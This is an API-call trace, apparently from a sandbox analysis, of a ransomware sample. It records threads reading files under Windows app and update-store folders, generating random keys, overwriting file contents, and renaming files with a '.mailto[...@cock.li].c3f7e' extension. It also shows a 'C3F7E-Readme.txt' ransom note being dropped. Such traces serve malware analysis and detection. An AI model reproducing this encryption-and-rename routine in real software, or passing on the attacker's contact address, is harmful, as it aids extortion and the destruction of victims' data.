	[0089.871] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x481c028, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f84
	[0089.871] FindNextFileW (in: hFindFile=0x46a7f58, lpFindFileData=0x50313e0 | out: lpFindFileData=0x50313e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c35f15d, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x6c35f15d, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x6c35f15d, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x1fe, dwReserved0=0x0, dwReserved1=0x0, cFileName="StoreLogo.png", cAlternateFileName="")) returned 1
	[0089.871] wcscmp (_String1="StoreLogo.png", _String2=".") returned 1
	[0089.871] wcscmp (_String1="StoreLogo.png", _String2="..") returned 1
	[0089.872] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xda) returned 0x4768d68
	[0089.872] wcscpy (in: _Dest=0x4768d68, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles"
	[0089.872] wcscat (in: _Dest=0x4768d68, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\"
	[0089.872] wcscat (in: _Dest=0x4768d68, _Source="StoreLogo.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\StoreLogo.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\StoreLogo.png"
	[0089.872] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4768d68, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f88
	[0089.872] FindNextFileW (in: hFindFile=0x46a7f58, lpFindFileData=0x50313e0 | out: lpFindFileData=0x50313e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c35f15d, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x6c35f15d, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x6c35f15d, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x1fe, dwReserved0=0x0, dwReserved1=0x0, cFileName="StoreLogo.png", cAlternateFileName="")) returned 0
	[0089.872] FindClose (in: hFindFile=0x46a7f58 | out: hFindFile=0x46a7f58) returned 1
	[0089.873] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x50313e0) returned 1
	[0089.873] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4719390) returned 1
	[0089.873] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4770c58) returned 1

Thread:
	id = 1068
	os_tid = 0x1d20

	[0082.761] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\StatsLogo.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingsports_4.6.169.0_x86__8wekyb3d8bbwe\\assets\\statslogo.png")) returned 0x20
	[0082.763] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\StatsLogo.png", dwFileAttributes=0x20) returned 0
	[0082.763] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\StatsLogo.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingsports_4.6.169.0_x86__8wekyb3d8bbwe\\assets\\statslogo.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0082.763] GetLastError () returned 0x5
	[0082.763] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\StatsLogo.png", dwFileAttributes=0x20) returned 0
	[0082.763] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ea470) returned 1

Thread:
	id = 1069
	os_tid = 0x1d24

	[0082.764] GetFileAttributesW (lpFileName="C:\\ProgramData\\USOPrivate\\UpdateStore\\UpdateCspStore.xml" (normalized: "c:\\programdata\\usoprivate\\updatestore\\updatecspstore.xml")) returned 0x20
	[0082.765] SetFileAttributesW (lpFileName="C:\\ProgramData\\USOPrivate\\UpdateStore\\UpdateCspStore.xml", dwFileAttributes=0x20) returned 1
	[0082.766] CreateFileW (lpFileName="C:\\ProgramData\\USOPrivate\\UpdateStore\\UpdateCspStore.xml" (normalized: "c:\\programdata\\usoprivate\\updatestore\\updatecspstore.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x16a0
	[0082.766] GetFileSizeEx (in: hFile=0x16a0, lpFileSize=0x25d3fb14 | out: lpFileSize=0x25d3fb14*=26) returned 1
	[0082.766] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e337f8
	[0082.766] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33898
	[0082.766] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e339d8
	[0082.766] NtQuerySystemTime (in: CurrentTime=0x25d3fa74 | out: CurrentTime=0x25d3fa74*=132251868094994780) returned 0x0
	[0082.766] RtlRandom (in: Seed=0x25d3fa80 | out: Seed=0x25d3fa80) returned 0x9a17814f
	[0082.766] RtlRandom (in: Seed=0x25d3fa80 | out: Seed=0x25d3fa80) returned 0x3dc80a1b
	[0082.766] RtlRandom (in: Seed=0x25d3fa80 | out: Seed=0x25d3fa80) returned 0xc2fd6ba1
	[0082.766] RtlRandom (in: Seed=0x25d3fa80 | out: Seed=0x25d3fa80) returned 0x7eca7410
	[0082.766] RtlRandom (in: Seed=0x25d3fa80 | out: Seed=0x25d3fa80) returned 0xc2d91c6
	[0082.766] RtlRandom (in: Seed=0x25d3fa80 | out: Seed=0x25d3fa80) returned 0x5606b6d8
	[0082.766] RtlRandom (in: Seed=0x25d3fa80 | out: Seed=0x25d3fa80) returned 0x55ed38b3
	[0082.766] RtlRandom (in: Seed=0x25d3fa80 | out: Seed=0x25d3fa80) returned 0xe5d2ed9b
	[0082.766] RtlRandom (in: Seed=0x25d3fa80 | out: Seed=0x25d3fa80) returned 0x8c1d0ed6
	[0082.766] RtlRandom (in: Seed=0x25d3fa80 | out: Seed=0x25d3fa80) returned 0xd4975ce7
	[0082.766] RtlRandom (in: Seed=0x25d3fa80 | out: Seed=0x25d3fa80) returned 0x8ec79dc
	[0082.766] RtlRandom (in: Seed=0x25d3fa80 | out: Seed=0x25d3fa80) returned 0x1b000d29
	[0082.766] RtlRandom (in: Seed=0x25d3fa80 | out: Seed=0x25d3fa80) returned 0x889ecc95
	[0082.766] RtlRandom (in: Seed=0x25d3fa80 | out: Seed=0x25d3fa80) returned 0x6cc0bcdf
	[0082.766] RtlRandom (in: Seed=0x25d3fa80 | out: Seed=0x25d3fa80) returned 0x7712acc
	[0082.766] RtlRandom (in: Seed=0x25d3fa80 | out: Seed=0x25d3fa80) returned 0x75ccbbc4
	[0082.766] RtlRandom (in: Seed=0x25d3fa80 | out: Seed=0x25d3fa80) returned 0xc38aaa38
	[0082.766] RtlRandom (in: Seed=0x25d3fa80 | out: Seed=0x25d3fa80) returned 0x88a49bd4
	[0082.766] RtlRandom (in: Seed=0x25d3fa80 | out: Seed=0x25d3fa80) returned 0x85c4943e
	[0082.766] RtlRandom (in: Seed=0x25d3fa80 | out: Seed=0x25d3fa80) returned 0xe7cb96c0
	[0082.766] RtlRandom (in: Seed=0x25d3fa80 | out: Seed=0x25d3fa80) returned 0x9095a88f
	[0082.766] RtlRandom (in: Seed=0x25d3fa80 | out: Seed=0x25d3fa80) returned 0x24812b16
	[0082.766] RtlRandom (in: Seed=0x25d3fa80 | out: Seed=0x25d3fa80) returned 0x8508b88e
	[0082.766] RtlRandom (in: Seed=0x25d3fa80 | out: Seed=0x25d3fa80) returned 0x3cdbe8f2
	[0082.767] RtlRandom (in: Seed=0x25d3fa80 | out: Seed=0x25d3fa80) returned 0x4e56de11
	[0082.767] RtlRandom (in: Seed=0x25d3fa80 | out: Seed=0x25d3fa80) returned 0xbf4c0424
	[0082.767] RtlRandom (in: Seed=0x25d3fa80 | out: Seed=0x25d3fa80) returned 0x3ca83c0c
	[0082.767] RtlRandom (in: Seed=0x25d3fa80 | out: Seed=0x25d3fa80) returned 0x34340792
	[0082.767] RtlRandom (in: Seed=0x25d3fa80 | out: Seed=0x25d3fa80) returned 0xcf576698
	[0082.767] RtlRandom (in: Seed=0x25d3fa80 | out: Seed=0x25d3fa80) returned 0xc2f7160c
	[0082.767] RtlRandom (in: Seed=0x25d3fa80 | out: Seed=0x25d3fa80) returned 0x79748ebe
	[0082.767] RtlRandom (in: Seed=0x25d3fa80 | out: Seed=0x25d3fa80) returned 0x5f8fed96
	[0082.776] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04090) returned 1
	[0082.776] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e339d8) returned 1
	[0082.776] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e337f8) returned 1
	[0082.776] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfabf8
	[0082.776] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e045b8
	[0082.776] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e337f8
	[0082.776] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e337f8) returned 1
	[0082.776] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4f9afc8
	[0082.776] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x48dc828
	[0082.776] ReadFile (in: hFile=0x16a0, lpBuffer=0x4f9afc8, nNumberOfBytesToRead=0x1a, lpNumberOfBytesRead=0x25d3fa70, lpOverlapped=0x0 | out: lpBuffer=0x4f9afc8*, lpNumberOfBytesRead=0x25d3fa70*=0x1a, lpOverlapped=0x0) returned 1
	[0082.777] SetFilePointerEx (in: hFile=0x16a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0082.777] WriteFile (in: hFile=0x16a0, lpBuffer=0x48dc828*, nNumberOfBytesToWrite=0x1a, lpNumberOfBytesWritten=0x25d3fa6c, lpOverlapped=0x0 | out: lpBuffer=0x48dc828*, lpNumberOfBytesWritten=0x25d3fa6c*=0x1a, lpOverlapped=0x0) returned 1
	[0082.778] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e339d8
	[0082.778] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e337f8
	[0082.778] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e337f8) returned 1
	[0082.778] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x48dc828) returned 1
	[0082.778] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f9afc8) returned 1
	[0082.778] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e045b8) returned 1
	[0082.778] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfabf8) returned 1
	[0082.778] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x31) returned 0x46a7f98
	[0082.778] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e337f8) returned 1
	[0082.778] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x31) returned 0x46a7fd8
	[0082.779] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e337f8
	[0082.779] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33d70
	[0082.779] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33d70) returned 1
	[0082.779] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04090) returned 1
	[0082.779] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfad60) returned 1
	[0082.779] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x115) returned 0x4771e30
	[0082.779] SetFilePointerEx (in: hFile=0x16a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0082.779] WriteFile (in: hFile=0x16a0, lpBuffer=0x4771e30*, nNumberOfBytesToWrite=0x115, lpNumberOfBytesWritten=0x25d3fad4, lpOverlapped=0x0 | out: lpBuffer=0x4771e30*, lpNumberOfBytesWritten=0x25d3fad4*=0x115, lpOverlapped=0x0) returned 1
	[0082.781] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4771e30) returned 1
	[0082.781] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x46a7fd8) returned 1
	[0082.781] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e337f8) returned 1
	[0082.781] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x46a7f98) returned 1
	[0082.781] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e339d8) returned 1
	[0082.781] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33898) returned 1
	[0082.782] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33a28) returned 1
	[0082.782] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33aa0) returned 1
	[0082.782] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb8) returned 0x47c8920
	[0082.782] wcscpy (in: _Dest=0x47c8920, _Source="C:\\ProgramData\\USOPrivate\\UpdateStore\\UpdateCspStore.xml" | out: _Dest="C:\\ProgramData\\USOPrivate\\UpdateStore\\UpdateCspStore.xml") returned="C:\\ProgramData\\USOPrivate\\UpdateStore\\UpdateCspStore.xml"
	[0082.782] wcscat (in: _Dest=0x47c8920, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\ProgramData\\USOPrivate\\UpdateStore\\UpdateCspStore.xml.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\ProgramData\\USOPrivate\\UpdateStore\\UpdateCspStore.xml.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0082.782] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\USOPrivate\\UpdateStore\\UpdateCspStore.xml.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x25d3fa8c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\USOPrivate\\UpdateStore\\UpdateCspStore.xml.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0082.782] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xce) returned 0x46a6388
	[0082.782] NtSetInformationFile (FileHandle=0x16a0, IoStatusBlock=0x25d3fa84, FileInformation=0x46a6388, Length=0xce, FileInformationClass=0xa) returned 0x0
	[0082.783] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x46a6388) returned 1
	[0082.783] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4924898) returned 1
	[0082.783] NtQueryInformationFile (in: FileHandle=0x16a0, IoStatusBlock=0x25d3fa98, FileInformation=0x25d3fa70, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x25d3fa98, FileInformation=0x25d3fa70) returned 0x0
	[0082.783] NtSetInformationFile (FileHandle=0x16a0, IoStatusBlock=0x25d3fa98, FileInformation=0x25d3fa70, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0082.784] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47c8920) returned 1
	[0082.784] FlushFileBuffers (hFile=0x16a0) returned 1
	[0082.788] CloseHandle (hObject=0x16a0) returned 1
	[0082.790] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04090
	[0082.790] wcscpy (in: _Dest=0x2e04090, _Source="C:\\ProgramData\\USOPrivate\\UpdateStore\\" | out: _Dest="C:\\ProgramData\\USOPrivate\\UpdateStore\\") returned="C:\\ProgramData\\USOPrivate\\UpdateStore\\"
	[0082.790] wcscat (in: _Dest=0x2e04090, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\ProgramData\\USOPrivate\\UpdateStore\\C3F7E-Readme.txt") returned="C:\\ProgramData\\USOPrivate\\UpdateStore\\C3F7E-Readme.txt"
	[0082.790] GetFileAttributesW (lpFileName="C:\\ProgramData\\USOPrivate\\UpdateStore\\C3F7E-Readme.txt" (normalized: "c:\\programdata\\usoprivate\\updatestore\\c3f7e-readme.txt")) returned 0xffffffff
	[0082.790] CreateFileW (lpFileName="C:\\ProgramData\\USOPrivate\\UpdateStore\\C3F7E-Readme.txt" (normalized: "c:\\programdata\\usoprivate\\updatestore\\c3f7e-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16a4
	[0082.791] WriteFile (in: hFile=0x16a4, lpBuffer=0x2d7c938*, nNumberOfBytesToWrite=0x6f6, lpNumberOfBytesWritten=0x25d3fa94, lpOverlapped=0x0 | out: lpBuffer=0x2d7c938*, lpNumberOfBytesWritten=0x25d3fa94*=0x6f6, lpOverlapped=0x0) returned 1
	[0082.792] CloseHandle (hObject=0x16a4) returned 1
	[0082.792] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04090) returned 1
	[0082.792] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47bcb10) returned 1

Thread:
	id = 1070
	os_tid = 0x1d28

	[0082.780] GetFileAttributesW (lpFileName="C:\\ProgramData\\USOPrivate\\UpdateStore\\updatestore51b519d5-b6f5-4333-8df6-e74d7c9aead4.xml" (normalized: "c:\\programdata\\usoprivate\\updatestore\\updatestore51b519d5-b6f5-4333-8df6-e74d7c9aead4.xml")) returned 0x20
	[0082.780] SetFileAttributesW (lpFileName="C:\\ProgramData\\USOPrivate\\UpdateStore\\updatestore51b519d5-b6f5-4333-8df6-e74d7c9aead4.xml", dwFileAttributes=0x20) returned 1
	[0082.793] CreateFileW (lpFileName="C:\\ProgramData\\USOPrivate\\UpdateStore\\updatestore51b519d5-b6f5-4333-8df6-e74d7c9aead4.xml" (normalized: "c:\\programdata\\usoprivate\\updatestore\\updatestore51b519d5-b6f5-4333-8df6-e74d7c9aead4.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x16a0
	[0082.793] GetFileSizeEx (in: hFile=0x16a0, lpFileSize=0x25dbf93c | out: lpFileSize=0x25dbf93c*=1325) returned 1
	[0082.793] SetFilePointerEx (in: hFile=0x16a0, liDistanceToMove=0x529, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0082.793] ReadFile (in: hFile=0x16a0, lpBuffer=0x25dbf8c0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x25dbf8bc, lpOverlapped=0x0 | out: lpBuffer=0x25dbf8c0*, lpNumberOfBytesRead=0x25dbf8bc*=0x4, lpOverlapped=0x0) returned 1
	[0082.793] SetFilePointerEx (in: hFile=0x16a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0082.793] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e337f8
	[0082.793] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33898
	[0082.793] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e339d8
	[0082.793] NtQuerySystemTime (in: CurrentTime=0x25dbf89c | out: CurrentTime=0x25dbf89c*=132251868095322285) returned 0x0
	[0082.793] RtlRandom (in: Seed=0x25dbf8a8 | out: Seed=0x25dbf8a8) returned 0xa47f7e87
	[0082.793] RtlRandom (in: Seed=0x25dbf8a8 | out: Seed=0x25dbf8a8) returned 0x733eff9e
	[0082.793] RtlRandom (in: Seed=0x25dbf8a8 | out: Seed=0x25dbf8a8) returned 0xaeaa2029
	[0082.793] RtlRandom (in: Seed=0x25dbf8a8 | out: Seed=0x25dbf8a8) returned 0xb95caa87
	[0082.793] RtlRandom (in: Seed=0x25dbf8a8 | out: Seed=0x25dbf8a8) returned 0x9b91bed9
	[0082.793] RtlRandom (in: Seed=0x25dbf8a8 | out: Seed=0x25dbf8a8) returned 0x62652ff4
	[0082.793] RtlRandom (in: Seed=0x25dbf8a8 | out: Seed=0x25dbf8a8) returned 0x53f554d7
	[0082.793] RtlRandom (in: Seed=0x25dbf8a8 | out: Seed=0x25dbf8a8) returned 0xf72ac415
	[0082.793] RtlRandom (in: Seed=0x25dbf8a8 | out: Seed=0x25dbf8a8) returned 0xb14b5da9
	[0082.793] RtlRandom (in: Seed=0x25dbf8a8 | out: Seed=0x25dbf8a8) returned 0x5563475c
	[0082.794] RtlRandom (in: Seed=0x25dbf8a8 | out: Seed=0x25dbf8a8) returned 0xa8bf6c3f
	[0082.794] RtlRandom (in: Seed=0x25dbf8a8 | out: Seed=0x25dbf8a8) returned 0x62933b30
	[0082.794] RtlRandom (in: Seed=0x25dbf8a8 | out: Seed=0x25dbf8a8) returned 0x2cd9148a
	[0082.794] RtlRandom (in: Seed=0x25dbf8a8 | out: Seed=0x25dbf8a8) returned 0xfb4b4f6
	[0082.794] RtlRandom (in: Seed=0x25dbf8a8 | out: Seed=0x25dbf8a8) returned 0xe333ec9a
	[0082.794] RtlRandom (in: Seed=0x25dbf8a8 | out: Seed=0x25dbf8a8) returned 0xd8c09ad9
	[0082.794] RtlRandom (in: Seed=0x25dbf8a8 | out: Seed=0x25dbf8a8) returned 0x7764c418
	[0082.794] RtlRandom (in: Seed=0x25dbf8a8 | out: Seed=0x25dbf8a8) returned 0x9c9f794c
	[0082.794] RtlRandom (in: Seed=0x25dbf8a8 | out: Seed=0x25dbf8a8) returned 0xd57e2e3d
	[0082.794] RtlRandom (in: Seed=0x25dbf8a8 | out: Seed=0x25dbf8a8) returned 0xd7379966
	[0082.794] RtlRandom (in: Seed=0x25dbf8a8 | out: Seed=0x25dbf8a8) returned 0x5ef773b0
	[0082.794] RtlRandom (in: Seed=0x25dbf8a8 | out: Seed=0x25dbf8a8) returned 0xe050ad12
	[0082.794] RtlRandom (in: Seed=0x25dbf8a8 | out: Seed=0x25dbf8a8) returned 0xbd48ebfe
	[0082.794] RtlRandom (in: Seed=0x25dbf8a8 | out: Seed=0x25dbf8a8) returned 0xf1609783
	[0082.794] RtlRandom (in: Seed=0x25dbf8a8 | out: Seed=0x25dbf8a8) returned 0xe67317d
	[0082.794] RtlRandom (in: Seed=0x25dbf8a8 | out: Seed=0x25dbf8a8) returned 0x381accaf
	[0082.794] RtlRandom (in: Seed=0x25dbf8a8 | out: Seed=0x25dbf8a8) returned 0x6616e982
	[0082.794] RtlRandom (in: Seed=0x25dbf8a8 | out: Seed=0x25dbf8a8) returned 0xbf04b880
	[0082.794] RtlRandom (in: Seed=0x25dbf8a8 | out: Seed=0x25dbf8a8) returned 0xee4edf84
	[0082.794] RtlRandom (in: Seed=0x25dbf8a8 | out: Seed=0x25dbf8a8) returned 0xa8cde3b6
	[0082.794] RtlRandom (in: Seed=0x25dbf8a8 | out: Seed=0x25dbf8a8) returned 0xcfda725
	[0082.794] RtlRandom (in: Seed=0x25dbf8a8 | out: Seed=0x25dbf8a8) returned 0x29edc93c
	[0082.802] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04090) returned 1
	[0082.802] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e339d8) returned 1
	[0082.802] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e337f8) returned 1
	[0082.802] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfabf8
	[0082.802] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e045b8
	[0082.802] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e337f8
	[0082.803] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e337f8) returned 1
	[0082.803] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4f9afc8
	[0082.803] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x48dc828
	[0082.803] ReadFile (in: hFile=0x16a0, lpBuffer=0x4f9afc8, nNumberOfBytesToRead=0x52d, lpNumberOfBytesRead=0x25dbf898, lpOverlapped=0x0 | out: lpBuffer=0x4f9afc8*, lpNumberOfBytesRead=0x25dbf898*=0x52d, lpOverlapped=0x0) returned 1
	[0082.803] SetFilePointerEx (in: hFile=0x16a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0082.803] WriteFile (in: hFile=0x16a0, lpBuffer=0x48dc828*, nNumberOfBytesToWrite=0x52d, lpNumberOfBytesWritten=0x25dbf894, lpOverlapped=0x0 | out: lpBuffer=0x48dc828*, lpNumberOfBytesWritten=0x25dbf894*=0x52d, lpOverlapped=0x0) returned 1
	[0082.804] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e339d8
	[0082.804] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e337f8
	[0082.804] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e337f8) returned 1
	[0082.804] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x48dc828) returned 1
	[0082.804] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f9afc8) returned 1
	[0082.804] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e045b8) returned 1
	[0082.804] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfabf8) returned 1
	[0082.804] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x73) returned 0x47bcb10
	[0082.804] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e337f8) returned 1
	[0082.804] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x73) returned 0x47bd710
	[0082.804] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e337f8
	[0082.804] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33d70
	[0082.804] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33d70) returned 1
	[0082.804] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04090) returned 1
	[0082.805] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfad60) returned 1
	[0082.805] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x157) returned 0x4731668
	[0082.805] SetFilePointerEx (in: hFile=0x16a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
